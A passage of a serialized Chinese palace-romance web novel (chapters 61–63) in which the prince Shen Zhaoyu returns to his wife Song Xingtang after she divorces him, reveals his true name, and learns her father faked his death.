李嬷嬷沉默良久,问道:“可是姑娘,‘喜欢’二字是不讲道理的。你想得再清楚,真的忍心就这么分开吗?” 宋星糖被问住,不知如何作答,茫然摇头。 她若忍心,就不会一边哭一边写了吧? 如此看来,她应当心里是很不想同他分开的。 可那又有什么办法呢?他必须要走,她又不想离开。 宋星糖一旦认定了某事,便是九头牛都拉不回来。 劝说无果,青鸾只得揣上休书匆匆上路。 她知道自己带了个什么东西过来,所以在将烫手山芋送出去时,便忙不迭退至角落里,生怕主子一怒,自己被烧成一具焦尸。 沈昭予果然如同被点燃的炮仗,怒气冲冲就要往外走。 走到门口,又生生停下。 “她竟敢休了本王,她竟敢!” 沈昭予在院里来回走。 “素来只有本王厌弃旁人的份,不曾想天道好轮回,竟也让本王狠狠栽了个大跟头!” “她可真是个好样的,用完本王就一扔了事,”沈昭予气得两眼一黑,胡言乱语,“越州的官被本王绑了,她是看没人敢欺负她宋家,就觉得本王可有可无了?!!” “忘恩负义!没良心的!吃了豹子胆!!” 青鸾掏了掏险些被震聋的耳朵,看着自家主子,只觉得他特别像一条围着自己尾巴转圈的狗。 正在沈昭予狂怒之时,“咻”地一声,一封密信被钉到院里的树干上。 主子忙着转圈,江行默默去把信取了。 还未打开看,又听一声怒喝: “好啊,真的好的很,既然休了本王,那干脆一别两宽、再不相见吧!” “本王也不是死皮赖脸死缠烂打之人,她既不要本王,那本王正潇洒自由了!哈!她以为本王很爱做赘婿吗?!本王是什么很贱的人吗?啊?!!” “给她当夫君,一天天累得要死,当本王真的愿意吗?!” “想我堂堂——” 什么糖糖。 沈昭予脸色更黑,“罢了!” 江行青鸾:“……” 俩人躲到角落,嘀嘀咕咕: “还从未见殿下这么暴躁。” “就连从前在先帝跟前屡屡遭遇冷眼和不公,殿下也只是一笑了之,从未有过如此盛怒。” 俩人对视一眼,达成默契—— 宋家大小姐,不得了。 “说本王什么呢!” 一抬头,只见男人瞪着双牛眼,将“怒发冲冠”展现得活灵活现。 江行眼珠一转,同仇敌忾道:“这宋氏女太不知好歹,真是枉费主子日夜操劳,待她的真心。” “本王没有真心!本王只是逢场作戏罢了!哈哈!” 江行点头,“那不是正好,咱们无牵无挂,正好回去。” 沈昭予:? “依属下看,这封休书来得正是时候,还省了咱们回去告别的时间,等咱们快马加鞭赶回京城,还能打三皇子一个措手不及。”江行嘿嘿笑道,“三皇子肯定想不到您打道回府,他还等着在越州与您打擂台呢,您不是最喜欢把几位皇子当狗耍着玩吗?这次时机正好!” 沈昭予:“……” 这个世界终于安静了。 青鸾赞扬地看了江行一眼。 江行脸蛋酡红,顿时如刚喝二斤假酒一般。 他再接再厉,又道:“至于越州那边,您直接忘了就好,咱们帮他们扫除障碍,宋家以后想必会顺风顺水,把日子好好过下去。” “您也不必担心宋家大小姐,有您这个珠玉在前,后面挑的人铁定要更好。” 沈昭予:?? 一口气险些没上来,“后面挑的?!” 江行无辜眨眼,“对呀!宋氏的赘婿,应当许多人争着抢着要做吧?您将位置腾出来,过不太久定有新人进门。” 沈昭予脸色大变,表情扭曲,如吞了苍蝇般难看。 他冷笑一声,“怎会有人比本王还好。” 江行思忖道:“也对,毕竟秦管家的眼光实不怎么样。他若有眼光,也不会将您当做好拿捏的人。只怕秦管家再挑一个不靠谱的,对大小姐不好,毕竟她笨笨的。” 沈昭予拧起眉,听不得这话,“她并不笨。” 虽然不笨,可单纯好骗。莫说是他,随便来一个人都是一骗就走。 没了他在身边,她真的能行吗? 可是她才把自己休了! 江行见主子才有松动,就又露怒容,赶忙又道:“她就算不笨,也逃不脱上当受骗的命。” “不过她被您骗得已经够惨了,再来几次,肯定就习惯了,没事的。” 男人眼底的怒意顿时消失,取而代之的,是无尽的自责与心疼。 终于把喷火的主子安抚好,江行冒一身汗,抬手抹了把额头。 一抬头,看到青鸾冲他微笑,还竖起大拇指。 江行红着脸垂下头,羞赧地扭了扭身子。 休书带来的风波渐平,眼下只差一个台阶。 让他们主子放下骄矜与自尊,主动回去求和的台阶。 江行没想到对策,知道急不得,将难事暂且放到一边,抽空打开了方才送来的密信。 展信阅读,脸色微变,逐渐凝重起来。 青鸾凑过去看,读后看了一眼江行。 二人皆从对方眼中看到震惊。 台阶,这不就来了吗。 ** 霜星院里到处都是赵鱼的影子。 宋星糖叹了口气,合上九章算术,出了书房的门。 她走进卧房,想换件衣裳,不设防地看到挂在那的,金色的披帛。 这条披帛赵鱼很喜欢,总缠在腕间。早上出门的时候被他摘下,就这么留了下来。 宋星糖唤来妙荷,更衣梳发,又去马厩走了一圈。出来时,鬼使神差地,往二房拐去。才靠近院子,就被门口的守卫拦下。 护卫是沈昭予留下,用来看守“犯人”的,里头的人出不来,外面的人也休想进去。护卫不认得宋星糖,冷着脸将她拒之门外。 宋星糖只得又走。 走到湖心亭,竟看到个熟悉的身影。 她靠近,试探道:“阿许?” 数日未见,秦知许清瘦不少。她自病好,就被沈昭予挪出霜星院,搬到一处空的院落静养。 秦知许面带淡笑,福了福身,“大小姐。” 宋星糖心里一空,鼻子顿时酸酸的。 她察觉到了,她们之间,生疏太多。 两人相对,默默无言。 还是秦知许先开口道:“一起走走吧。” ** 听到出事的消息,秦知期急忙赶回府上。 到时,宋星糖好端端的坐在院里,正在作沙画。 而厢房里进进出出,听说是李嬷嬷昏倒了。 妙荷与巧杏一左一右,架着秦知许的胳膊不让她走。 秦知期先去看了一眼宋星糖,见她沉浸在自己的画作里,没多打扰。 忍着怒意,走到众人跟前,问道:“怎么回事。” 巧杏嘴快,一句话说清楚来龙去脉: “她借口叙旧,领着姑娘走到东边那个废弃的柴房里,叫姑娘撞见了里头的小环。我看她分明就是见姑爷走了,特意过来恶心人的!” 小环是从前给沈昭予下迷药、二房派到霜星院里的叛徒。 当初沈昭予带秦知许来过一次,以示警告,那之后秦知许便重病不起,直到最近才能下床。 “姑娘这不是好好的。”秦知许垂眸瞥了一眼胳膊上的两只手,冷笑道,“李嬷嬷也是奴婢,难道她被吓昏,也要算到我头上?大家都是下人,凭什么。” 妙荷一听就知她仍在不平,也冷冷道:“秦大小姐这般不满, 怎么还赖在宋府不走?走了,不就不和咱们一样都是下人了?” 秦知许寸步不让,讥讽道:“这里也是我的家,我为何要走?” “你故意让姑娘看到小环的惨状,就是吓唬人,你居心叵测!”巧杏也道,“姑娘没被你吓着,是她胆子大,不是你能作恶的理由!” 秦知许还要开口,却见秦知期疲惫地摆了摆手。 “阿许。” 秦知许抬眸看去。 “先前我在外头买下了一个宅子,等会你收拾东西,搬出去吧,”秦知期苦笑道,“我未尽到为兄的本分,如今只能帮你这最后一次。” 若叫沈昭予知道此事,秦知许哪还有活路? 早早离开,对谁都好。 任由秦知许如何哭闹不肯,秦知期都摇头不语。 不到半个时辰的功夫,秦知许的行囊就被收拾好,送了过来。 她不愿走,秦知期就让人把她架走。 当初最为体面的婢女,如今却落得如此下场。 秦知许被人拉到院门口,她到底咽不下这口气,扭回头冲宋星糖大喊:“多年的交情,没想到你这样凉薄冷漠!就这么看着他们赶我离开!” 妙荷骂道:“多嘴多舌,死到临头还不知悔改!” 说着撸胳膊就要冲上去赶人。 宋星糖忽然抬头,她手里还握着一把彩砂,一双乌黑的瞳里一点光亮都没有。 秦知许被她看得后背一冷,恍惚间,似乎看到了“赵鱼”的影子。 她是何时变了模样,不再是从前的那个宋星糖了? “你是不是觉得,我很好骗,随便糊弄一下就能过去,每一次都特别好哄?” 众人皆哑口无言,秦知许更是面色微变。 这是大家未宣之于口的公认的事实——宋星糖脾气软,没威严,就算得罪了也不要紧,反正她过一会自己就忘了。 沈昭予曾一阵见血地提过她的毛病,她不是不知道自己的缺点。 他曾经说的,她都还记着。 真奇怪,竟然都记得。 现如今他走了,她也该有所成长。 宋星糖缓缓摇头,低声道:“我这次,就哄不好了。” “……” 秦知许被赶出宋家,宋星糖枯坐良久,喃喃自语: “没有鱼鱼,我也一样可以。” 可以处理各种麻烦,也可以做好一个有威严的主子。 晚上,宋星糖照常抱着夜明珠入睡。 快天亮时,她陷入了深深的梦魇中。 一具惨不忍睹、血肉模糊的躯体倒在昏暗的柴房之中。 腥臭味扑面而来,刺激着眼球不住分泌泪水。 “鱼鱼,鱼鱼……” 残尸在她身后,忽然跳了起来,张牙舞爪地追赶她。 她哽咽着,拼命往前跑。 赵鱼呢? 他在哪里? 哦……险些忘了。 她的赵鱼,没了。 沈昭予一路疾行,翻墙而入。 身上裹着浓重的露气推开房门时,一下就听到了如小猫般又细又轻,又可怜的呼唤声。 他积攒了一天一夜的旺盛怒火,顿时如一盆冰水兜头浇下般熄灭殆尽。 几乎没有任何犹豫地,立刻原谅了她。 她只是被他骗了,一时气极,才写下休书。 都是他的错。 男人步子轻盈迅敏,如一阵风,掠到榻前。 坐在她身边,望见她满脸的泪。 心脏顿时被一只无形的手紧紧攥住,几乎让他喘不过气来。 他伸手拨开黏在她脸上的长发,五指拢入她潮湿的鬓发中,指腹轻轻按揉,听到她陷于梦中,惊慌失措,口中还在不断地呢喃他的名字。 沈昭予再难克制翻涌的情愫,情不自禁地,伏低身子。 带着满腔的柔情与爱怜,正欲轻吻。 忽然对上一双满含水意,楚楚可怜的乌瞳。 而唇,也被她伸手挡住。 吻落在她的掌心。 宋星糖手指微蜷,眨了下眼,小声道:“我们已经不是夫妻了,不可以亲亲哦。” 沈昭予:“……”【你现在阅读的是 】 60-70 第61章 第61章“沈昭予沈昭予沈昭予!…… 【61】 “不可以亲亲哦。” 宋星糖无辜的大眼睛一眨一眨的,因刚哭过一通,眼尾似揉开一抹胭脂。有泪珠挂在睫毛上,悬而未落,再配上初醒时的懵懂表情,显得她更加柔弱可欺。 沈昭予低笑了一声,在她掌心逐渐加深这个吻。 宋星糖起初没有感应,茫然得像是个没有灵魂的漂亮的绢人娃娃。 等到手心里的痒意传到心里,她才后知后觉,自衣领内涌上来一股热气,将她的双颊蒸得通红。 她不自在地躲闪着目光,犹豫着,要不要将手撤回。 可撤了,他万一亲上来了可怎么办呀? 鱼鱼曾说过,亲吻是只有夫妻之间才能做的事,她已写下休书,撇清关系了,不算夫妻,自然不能再做。 可……不躲开,他又要一直亲。 真难选。 沈昭予自然从她眼中的挣扎,看出她心里的每个念头,于是变本加厉,在她掌心若有似无地进行撩拨。 面对心上人,男人总有些劣根性。 可惜面前这个是个不懂风情的榆木脑袋,丝毫领会不到男人眼底的情意,只觉得他的目光他的唇,都烫得吓人。 宋星糖恼了,“你!不知羞!” 好吧。 沈昭予恋恋不舍地抬起头,习惯性地给她理了理头发。 “做噩梦了?” 说着,指腹擦去她眼角的泪痕。 宋星糖点头,将昨天白日的事道来。 唯有面对沈昭予时,她才能毫无顾忌地坦诚。 “可能我没表现出害怕吧,她们都以为我没事。”宋星糖恹恹地道,“其实我心里很怕,握着彩砂的手都在发抖。” 但她们都忙着吵架,没有人注意到后知后觉才害怕的她。 “这也不能怪别人,正常如李嬷嬷那样,真害怕当即就会被吓倒了,哪像我……” 事发时大脑一片空白,等到过了好久好久,浑身才密密麻麻爬满鸡皮疙瘩,身体一阵针发冷、发抖,心底是无尽的惊惧与彷徨。 “对不起。” 沈昭予自责不已。 这件事是他思虑不周,处置欠妥。他应该早点将小环处理掉,不该留着这个隐患。 宋星糖摇摇头,她想开口叫他一声,却不知该如何称呼。 只能免去称呼,拉了拉他的袖子,才道:“这是她心肠不好,与你无关。” 想了想,又忍不住好奇道:“你经常做那种事吗?” 不敢说出残忍的词,只能在自己身上比划,一边比,一边露出痛苦的表情,好像那些酷刑用在她身上似得。 沈昭予没忍住笑了声,“嗯,常做。” 他观察她的表情,试探道:“会觉得我过于心狠手辣吗?” 宋星糖茫然摇头,“你抓的都是坏人,对待坏人,自然要凶一些!” 不给人吃点苦头,哪能乖乖就范? “书上说,人都是贱骨头,不见棺材不落泪!” 沈昭予好笑道:“看来闲书也有真理。” “昂,那当然啦,书哪有坏哒。” 沈昭予意味深长地挑了下眉,没反驳。 “对了,我……嗯……” 宋星糖支支吾吾,手指不住地勾他袖口,半晌都没说出一句完整的话。 “算了,没什么。” 沈昭予忽然灵光一现。 他犹豫着,试探道:“我不在家,糖儿自己处理了突发的意外……” 话音未落,他隐约看到小姑娘眼睛亮了一下。 若她头上长耳朵,那双耳朵多半会兴奋地抖上三抖。 沈昭予心中稍安,顺着她,继续试探:“不仅已能独当一面,并且竖立了做主子的威严。” 这下连胸膛都挺起来了。 浑身每个毛孔都在散发着“我厉害吧”的讯息。 沈昭予笑叹道:“很厉害,很棒。” 被夸的小姑娘顿时双目泛光,想忍着,却无论如何都按捺不住喜悦的心情,忍不住骄傲了一下。 “谢谢夸奖!我也觉得我棒极了!” 沈昭予看着喜欢得不行,忍不住又要俯身探去。 一只小手又抵着他的唇,将他的脑袋推开。 沈昭予气不过,张嘴咬住她的手指。她约莫是嫌他,委屈地瞪过来。 他无奈,松口替她擦干净,又给她吹了吹,她才勉强满意。 “再睡一会?” 说着,正欲脱去外袍上榻。 宋星糖歪着头,奇怪道:“不是夫妻, 能躺在一张床上吗?” 沈昭予:“……” 他不计较,不代表他忘了。 总提是怎么回事?非要他跟她算这笔账? 沈昭予努力维持冷静,“糖儿为何要将我休弃?” 宋星糖果然是个直爽的性子,坦诚道:“我不知道你是谁。” 兜兜转转,还是老问题。 生怕他又不答就跑掉,她两只手扒着他的手腕,说道:“我也不是一点脾气都没有的人,忍了阿许很多次,这次我跟她说,我哄不好了。” 沈昭予无奈道:“究竟是说她还是说我?” 宋星糖回答不上来,只一味用指甲抠他的手腕。 这次沈昭予没有再避而不答。 “我的确不叫赵鱼,入赘时所陈述的来历,虽不尽然全假,但大多数都与我的真实经历毫不相干。” 他想起临行时,与青鸾的一番对话—— “本王树敌太多,如何能告诉她真实身份?” “可她根本不在乎您是王爷还是侯爷,她只想知道——你是谁。您也不必打算再用别的名字糊弄她,因为若再对她有所隐瞒,她只怕永远都不会信任您了。” 的确,坦诚相待以后,若是遇到任何危机或是困难,都该是他来考虑的事。 他不应该担心破坏大局,或是给她带来灾祸,就选择隐瞒。 若他无法尽善尽美,那只能证明他能力不够,错也不在她身上。 机会稍纵即逝,他不正应该牢牢把握住吗? 能解释的时候就要抓住机遇,否则等他做好准备,她也转身离开,再不会听了。 在沈昭予主动坦白时,宋星糖却不再吭声。 她没安全感地缩在床头,抱着膝盖,拿一双眼睛直勾勾地盯着他。 好像一只刚受过伤的小猫,躲在阴暗的角落里,不敢露头,只能静静观察眼前人,判断他是否会对她伸出善意温暖的手。 沈昭予心中一痛,情不自禁地抓住她搭在膝头的手,握在掌心。 谢天谢地,这次没有再听到她说:“我们不是夫妻,你不要碰我的手。” “跟我来。” “教你写我的名字。” 一听这话,宋星糖顿时双眼绽放出更明亮耀眼的光芒。 比方才听到夸赞时更甚。 她甚至等不及穿衣,只穿着一件肚兜就要往外跑。 玲珑有致的身子打眼前一晃,沈昭予的耳朵泛起红来。 他抿着唇,脱掉自己的外袍,给她罩在肩头,又拽着两边的衣襟往里拢,将她裹得严严实实,才牵着她的手往书房走。 他按着人坐到椅子上,而后从她背后拥上来,往她的手里塞了一只毛笔,握着她的手,在纸上写下三个大字—— “沈、昭、予……” 宋星糖喃喃道。 很奇特的感觉,明明是头一次听说,却一点陌生的感觉都没有。 “悄悄告诉你,除你之外,几乎没人敢叫我的名字。” 宋星糖诧异道:“真的吗?沈昭予?” 沈昭予笑着应下:“嗯。” “沈昭予沈昭予沈昭予!” “嗯,嗯,嗯。” 宋星糖疑惑道:“咦,我也没死呀,这三个字又没毒,那他们怕什么?是你的官位太大,他们心里害怕,一张嘴就会咬到舌头?” 沈昭予趁她思考,摸了摸她的脑袋,“不知道,可能是他们胆子小吧,以为我很凶,所以不敢叫。” “我就敢叫。” “所以说,糖儿最厉害。” “嘿嘿。” “昭予,赵鱼……”宋星糖又盯着纸上那笔力虬劲、龙飞凤舞的大字看了半晌,仰起头看他,“好像没差多少嘛。” 沈昭予微微颔首,见她没怎么排斥,心底紧绷的那根弦终于松了,他笑道:“懒得想,就随口起了一个。” 她也笑,“你也有懒的时候呀?” “当然,我也是人。” 宋星糖却不赞同,“就算是人,你也是最厉害的人。” 她对他的倾慕,依旧能透过眼睛表露出来。 她真是天底下最可爱最心软最惹人怜爱的女孩子。 沈昭予心念一动,勾着她的腰,把人往怀里抱了抱,认真问道:“那我是能够得到你原谅的人吗?” 他说这话时,挨她极近,好听的声音落在她耳边,眼睛里满满的专注与深情。 宋星糖耳廓微热,别过头去,嘟囔道:“那等你用这个名字和我相处一段时间以后,我再决定要不要原谅你吧。” 她的性子总是这么软,这么可爱,让人忍不住想要把她抱在怀里,好好揉搓一番。 “哎,不对!” 宋星糖垂下头,情绪显而易见地低落下去。 “只怕等不到原谅你的那天了。” 沈昭予蓦地收紧手臂,紧紧箍着她的腰,嗓音也因紧张而发哑:“为何?我难道就这么十恶不赦?” 宋星糖摇头,难过道:“你要走了,要回到京城去。而我会一直在这里,一只到死,都见不到你了。” 沈昭予沉默了会,缓缓松开怀抱。 “也许,你有必须要同我离开的理由。” “嗯,是什么?” “你的父亲,宋鸿宋将军,”沈昭予注视着她的眼睛,说道,“我寻到他的下落了。” 第62章 第62章“今天就收拾行囊,随你…… 【62】 与沈昭予率领的镇西军不同,宋鸿效力的军队驻扎在南方。 南面的战局不如西边紧张,所以朝廷的主力并未放在那边。 宋星糖的父亲宋鸿于两年前被派往南方边境,今年战事大捷,可许久没有再收到来自边境的家书。 沈昭予问她:“你们何时与他失去联系的?” 宋星糖记不清日子,急急站起身,跑到书架前翻了半晌,抱出一摞家书。 太多抱不住,沈昭予从她身后接住,又帮她提了提滑落至肩头的外袍。 宋星糖翻出最新的一封,给沈昭予看。 “去年冬月……”他若有所思道,“也就是说,他或许根本都没收到过你母亲亡故的家书,就已经不在南境了。” 李夫人亡于立冬那日,而宋鸿早在那一个月前就“失踪”。 他到现在可能都不清楚妻子已经亡故。 宋星糖急切道:“那爹爹真的还活着吗?他到底去哪了?为何不回家?为何连信都不回?” 她急得眼圈泛红,叫沈昭予看了于心不忍,手掌安抚地落在她肩头。 “冷静一些听我说,你是相信我的,对吗?” 宋星糖哪还记得先前的别捏,忙不迭点头,两只手都抱着他胳膊,恳求道:“最相信你了!告诉我吧告诉我吧。” 沈昭予揽着她的肩,轻声道:“首先,将领临阵脱逃,是很恶劣的罪行。” 宋星糖眼睛瞪大,“那我爹爹他……” “此前并未收到过任何处置你爹爹以及宋家的旨意,所以可以断定,他并非是临阵脱逃。” 将领无故擅离职守,这事绝不可能瞒过沈昭予的耳朵。 在此之前,在来到宋家之前,沈昭予从未听说过宋鸿叛逃,所以他绝不可能是“活着”离开的。 “他是‘阵亡’了。” 宋星糖怔住,红唇慢慢张开,刚酝酿出半声哭腔,没等眼泪流出来。 便被沈昭予趁人之危,在她唇上飞快地轻啄了下。 宋星糖:“……呜,唔?” 见她呆呆的,一些情绪都被他的吻打乱,什么声音都戛然而止时,沈昭予忍不住笑了一声。 而后他敛起神色,郑重 道:“他并非真的死了,而是假死。” “由于你父亲的职位并不高,且为了稳定军心、防止敌方窃取军情,将领身亡通常不会立刻发丧。冬月他假死脱身,丧报于今年三月底传回京城,快的话,再过些日子就会到越州。” “那你又如何知道——” “我为何笃定他为假死,理由有三。” “其一,当时那一仗,我军优势极大,你父亲作为一个多年领兵的老将,他不会连最基本的判断都没有,这是我对他能力的信任。” “其二,他作为将领身亡,还有两名心腹参将也身亡了,除他们三人之外,再没有牺牲,这是极其异常的现象。” 战场上牺牲最多的,应该是打头阵的小兵,而不是身居后方的将领。 “出于我对你父亲能力的肯定,这第二点我也将其归为——他是故意为之。” 宋星糖听得专注,见他停顿,催着问:“第三呢?” 沈昭予盯着她的脸微微出神,半晌才道:“我来了宋家以后,便命人去暗中调查你父亲的下落,如今终于有了结果。其三,也是最重要的一点,我的人发现了他的踪迹。” “他去哪了?!” “他一路往北去了。” 宋星糖灵光一闪,“他去了京城吗?” 沈昭予思忖片刻,摇头,“不一定。” 若宋鸿当真冒着假死的风险,也要离开南境,那他一定是发现了什么惊天的大秘密。 且南境对于知道了秘密的他而言,是龙潭虎穴,十分危险。 他要逃亡,或是去伸冤。 往北去的话,不会是逃亡。 如果一路直奔京城,那就是去告状的。 如果半途改道往西去…… 沈昭予抿唇叹道:“也没准,是去找我的。” 宋星糖听不懂了,疑惑地瞧他,“找你?爹爹认识你吗?” “素不相识。” 但总该听说过他的大名。 若真是去找他的,那就代表着,宋鸿已经发现了朝廷内部的衰败与腐朽,认为皇帝靠不住,才会去找他。 “可惜,他不知道我早已离开西北。” 宋星糖似懂非懂,悟出一个结论:“看来你的官,真的很大!” 沈昭予:“……” 他摸着她的头,失笑道:“这样说也没错。” “那爹爹假死,不会被人发现吗?”宋星糖担忧道,“你不就发现了?他会不会被人捉回去,严刑——” “不会。” 宋星糖期待道:“真的吗?” “丧报既然已经送到京城,就说明你父亲的计划很周全,并未叫人发现纰漏。”沈昭予欣赏道,“有勇有谋,又有丰富的经验,只是一军的副将太过屈才。” 他感慨完,垂眸对上小姑娘茫然懵懂的目光,不由得又是一笑。 不说她听不懂的话了。 他问:“现在可愿跟我离开?” 宋星糖态度大转变,点头如小鸡啄米:“要的要的,今天我就让人收拾行囊,随你北上!” 沈昭予苦笑一声,他果然比不过人家的亲爹。 多亏了素未谋面的岳父大人,否则还真不知要如何把她带走。 因为记性时常不佳,所以宋星糖养成了不拖延的性子,想到什么,就得趁着还没忘,立刻去做。 说走就走。 沈昭予靠在椅子里,手撑着头,唇角含笑看着她在房中打转。 “这个得带上,这个也要。” “爹娘的家书很重要,带上带上。” “蒙求,九章算术,都带上!哦!还有话本!” “算盘要不要带呢?我还不太会打,带上吧,到京城再学!” 沈昭予轻轻笑起来,低声唤她:“糖儿,以后再说正事时,你不要总用那种眼神看我。” 宋星糖忙着抱书,过了足足有十个数,才回过头,施舍他一点回应: “嗯?哪种眼神?” 沈昭予:“……算了。” 是他心不静,满脑子都是下流事。 最初还不太适应她只能单一处理某件事的情况。 直到有一次,他实在忍无可忍,问她:“为何每次你在做别的事时,我同你说话,都要过上好一会,你才回我?” 当时宋星糖看上去比他还茫然,“好一会吗?没吧,我听到就立刻反应了呀,应该很快吧?” 沈昭予:“……” 后来他发现,她的脑袋真的只能同时处理一件事—— 手里忙活着,耳朵获取声音再做出反应的速度就会变得很慢。嘴上说着话,手里的动作就停了下来。脑子里想着别的事,嘴巴、耳朵还有手,就都罢工了。 沈昭予可以“一心多用”,并不能体会到只能“一心一意”的人是什么感受。 不过好在他如今已经适应了。 “对了,我要带谁同去呢?”宋星糖犹豫道,“青鸾……她还回来找我吗?” 青鸾去给沈昭予送休书,一去不返了。 沈昭予唇角微勾,“你想她回来吗?” “当然想啦!”她猛猛点头,“青鸾最招人喜欢了!” 沈昭予:? 他是最信任。 李嬷嬷是最最信任。 现在又多了个“最喜欢”。 无论怎么听,这个“最喜欢”都更好吧。 沈昭予冷笑一声,“我的下属倒是很会讨糖儿的欢心。” 比他这个夫君还讨人喜欢。 宋星糖不知道他怎么又忽然生气了,如实道:“青鸾会的多,说话也好听,人还漂亮,最重要的……” 她脸上浮现两抹可疑的红晕,“青鸾力气很大,抱着我时,很有安全感。” 比起沈昭予,青鸾这个女孩子身子更软,陷在她怀里时,不会硌到。 沈昭予:“……” 宋星糖眼睛往上看,沉浸在自己的思考里,全然没感觉到男人周身散发着愈发冰冷的气息。 她弯着眼睛,笑道:“最最重要的,是因为她是你派来的呀!我最最最喜欢你——” 话音戛然而止,她蓦得双手捂住嘴巴。 “我什么都没说,什么都没说。” “我还生气呢,没那么好哄!” 说着也不去看沈昭予骤然发亮的眼睛,抱着怀里的东西匆匆忙忙往外跑去。 沈昭予怔在原处,忘了去追。 他久久地坐在椅子里。 半晌,抬手扶额,轻轻笑了。 ** 大小姐要离家北上的消息在半个时辰内传遍宋府上下。 秦知期匆匆赶来时,只见到了沈昭予在院里喝茶。 沈昭予眼睛没抬,淡声道:“坐。” 秦知期不敢坐,站在一旁,犹豫半晌。 “想替秦知许求情?” 秦知期苦笑道:“她是我妹妹,是我没管好她,能不能看在我的面子上,放她一条生路?” 顿了顿,他叹道:“我只有这一个妹妹。” 沈昭予没说话,给他倒了一盏茶,也不管他坐不坐,喝不喝。 “小侯爷,您——” “我不叫谢徽,”男人忽然抬眸,一字一顿,“我姓沈,你记住了。” 秦知期蓦得脸色大变! 沈,国姓。 他垂下头,藏起眼底的惊惧,心中飞速地思索。 姓沈,曾在西北军营…… 一个模糊的名字在他心里若隐若现,没等他开口,便见男人起身走到他跟前,拍了拍他肩膀。 男人压低声音,在他耳畔说道:“你只有一个妹妹,本王又何尝不是只有一个夫人?” 秦知期瞳孔骤缩,脸色灰败,肩膀垮了下去。 沈昭予直起身,目光冷淡,“你当然可以记恨我,冤有头债有主,但不要想着算计她,否则,我不会看在李夫人的份上饶过你。” 秦知期摇摇头。 无论如何,他也不会对宋星糖做什么。 与沈昭予说过话,秦知期马不停蹄赶到城北的宅子时,推开门,见到妹妹茫然又惊惧的脸。 “你是谁!” 她说。 秦知期看着她手里的棍子,紧握门板的手缓缓松开。 他仰头望着黑衣护卫一闪而过离开的方向,捡起被那人扔在院里的,一包银子。 “说话!你是谁?!”女孩厉声质问,半晌,又痛苦地捂着头,迷茫道,“我又是谁……” 秦知期抬手擦了下眼睛。 释然地笑了笑,“你叫秦知许,而我,是你哥哥。” “……” “为什么要给秦知许求情?她那样欺负你。” 半个时辰前,书房中。 沈昭予将蹲在地上数宝贝的女孩抱起来,抱到桌上, 圈进怀里。 被问题转移了注意,宋星糖没察觉两个人姿势过于亲近。 “终究是一起长大的,阿许她以前待我极好。”她闷闷地,百思不得其解,“究竟为何变成如今这样了呢……” 沈昭予拧她的鼻子,恨铁不成钢道:“只要不是指着你鼻子骂,在你眼里人人都好。” 若非她百般恳求,他非得把秦知许跟那些重刑犯关在一起,让她日日看人受刑,让那些血肉都溅到她的脸上、身上,以报她欺负宋星糖的仇。 “不是的呀,阿许和别人不一样。” “十岁的时候一起去城外玩,不知是哪里来的恶犬要追着我咬我,是阿许把我护在身后,被狗咬下了一块肉,到现在她腿上都还有道疤呢。” “十二岁时,遇到绑匪,她和我换了衣服,想办法送我回去,而她自己被人抓走。等爹娘再把她找到时,她身上好多血,我听人说,她这辈子都毁了,有哪个男子还要她?我听不懂,只知道阿许替我受了好大的苦。” “十五岁时,宋洛繁把我锁到一个屋子里,是阿许用手砸破了窗,把我带出来的。我晕倒了不知发生了什么,好不容易打听到,李嬷嬷说阿许杀了人,有个男子进了门要欺负我,阿许杀了那个男子,要不是爹娘疏通门路,她就要被抓进大牢里了。” 记性不好的小姑娘,对秦知许对她的好如数家珍。 她应该总在心里重复那些别人待她的好,所以被问起来时,才能答得这样流利。 “我欠阿许很多很多,她以前对我真的很好的。”宋星糖说,“把她赶走,已经是很严重的惩罚了。” 沈昭予听后沉默半晌,“不够,若再加一项惩罚呢?糖儿打算如何?” 宋星糖想了想,“那就让她忘了我吧。” 忘了一起长大的玩伴,忘了她是为谁殊死搏斗,为谁杀过人,又是为谁留下的伤疤。 第63章 第63章【一更】双手捧着她的脸…… 【63】 临走前需要处理许多事。 宋星糖看着妙荷她们收拾行囊,手指戳了戳沈昭予。 “我们还会回来吗?” “你想回来吗?” “当然,我娘亲在这里。” “好,那就回来。” 沈昭予一边应下,一边思忖着,劝她将李夫人的坟迁到京城去,有几分胜算。 妙荷在远处喊:“姑娘,这个夜明珠要带吗?” “要的要的!” 沈昭予看着宋星糖跟个小兔子一样,一蹦一跳地过去,便忍不住笑。 妙荷惊道:“这么大个,万一路上丢了怎么办啊?” “我每晚睡觉都会抱着的。”宋星糖一本正经地道,“丢不了。” 沈昭予:“……” 察觉到这屋中有几道隐晦的目光若有似无地落在他身上。 沈昭予的笑意彻底凝固在脸上。 那些目光似乎都在说—— “怎么是夜明珠陪大小姐睡觉,而不是姑爷啦?” “哦!姑爷被休啦!没法一起睡觉啦!” 沈昭予:“……” 被人休弃的屈辱感再次涌上心头,他高傲的自尊在这一刻又受到了挑衅。 想他糖糖……算了。 想他好汉一条,还从未在哪个女子手里吃过这种亏。 宋星糖扑了过来,推他胳膊,“哎,你看!” 真好,现在不止不叫他鱼鱼,连名字也不叫了,就一个“哎”。 沈昭予面无表情,淡淡抬眼。 只见小姑娘一双杏眼弯成月牙,笑容灿烂如烈日般耀眼,叫人无法从她身上挪开视线。 他脑子里一片空白,喉结轻滚,嗓音莫名有些哑:“看什么?” “你看呀,”宋星糖献宝似得举手,“这个夜明珠被我摸得更亮了!” 沈昭予微怔,迟疑道:“每晚,都摸它吗?” 宋星糖抱着夜明珠,爱不释手,点头笑道:“就是有点凉。” 沈昭予道:“那,要不要还……” 还继续抱着我睡。 “嗯?” 后半句他没好意思说出口,尴尬地摸了摸鼻子,缓缓摇头。 屋里的人除了宋星糖,都听出了男人的未尽之语。 众人一边干活,一边挤眉弄眼与人眼神交流。 沈昭予沉默半晌。 宋星糖歪头,没等到他下文,便抱着夜明珠走了,继续去收拾东西。 她专心翻看眼前的一摞书,想着挑拣些有趣的带着路上读。 原本只是在找书,怎料翻开一本,竟是一下就看进去了! 不知过了多久,等她意犹未尽地读完一篇故事,才惊觉这屋里十分安静。 面前笼罩着一片阴影,宋星糖茫然抬头。 男人不知何时到她近前,蹲在她旁边,安静而专注地凝望着她。 宋星糖被他异常灼热的目光看得有些莫名,她摸了摸脸颊,小声问:“怎么啦?” 沈昭予不语,目光温柔似水,仍静静看着她。 宋星糖心虚地别过头,“哎呀,不看就是了嘛,也没耽误多少时间吧?” “收拾,继续收拾……” 她背过身去,假装很忙。 “哎——!!” 身子忽然一轻,腿弯被一双有力的手臂捞住,双脚离地,被人从后头腾空抱了起来。 